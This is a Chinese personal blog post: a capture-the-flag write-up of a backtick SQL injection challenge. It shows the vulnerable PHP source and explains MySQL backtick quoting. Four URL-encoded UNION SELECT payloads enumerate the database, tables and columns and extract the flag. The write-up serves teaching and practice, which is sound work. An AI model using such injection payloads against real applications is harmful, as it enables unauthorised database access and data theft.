HacKerQWQ的博客空间

Jarvis injeect(反引号注入)

Word count: 320Reading time: 1 min
2020/08/05 Share

源码

1
2
3
4
5
6
7
8
9
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

分析:
题目接收了table的值,之后使用了sql语句查询结果,一看就是sql注入,问题是这里的反引号是怎么个意思。

sql语句中的反引号

这里的反引号经过查询是用于区分普通字符和sql语句保留字

自己在数据库中测试的结果

1
2
3
desc `flag`//有结果
desc `flag` `aaa`//没有结果,说明flag被aaa代替了
desc flag aaa//没有结果,跟上面一样

分析:通过上面测试,我们可以使用union查询爆出数据库的数据

write up

  1. 爆数据库名

    1
    ?table=test`%20`union%20select%20database()%20limit%201,1

  2. 爆表名

    1
    ?table=test`%20`union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1

  3. 爆列名

    1
    ?table=test`%20`union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7365637265745f666c6167%20limit%201,1

  1. 爆flag
    1
    ?table=test`%20`union%20select%20flagUwillNeverKnow%20from%20secret_flag%20limit%201,1

总结

以上都是看网上的wp看到的,自己应该也挺难想到flag aaa前面的反引号里面的数值会被aaa替代,还是得多实践,加油吧….

CATALOG
  1. 1. 源码
  2. 2. sql语句中的反引号
  3. 3. write up
  4. 4. 总结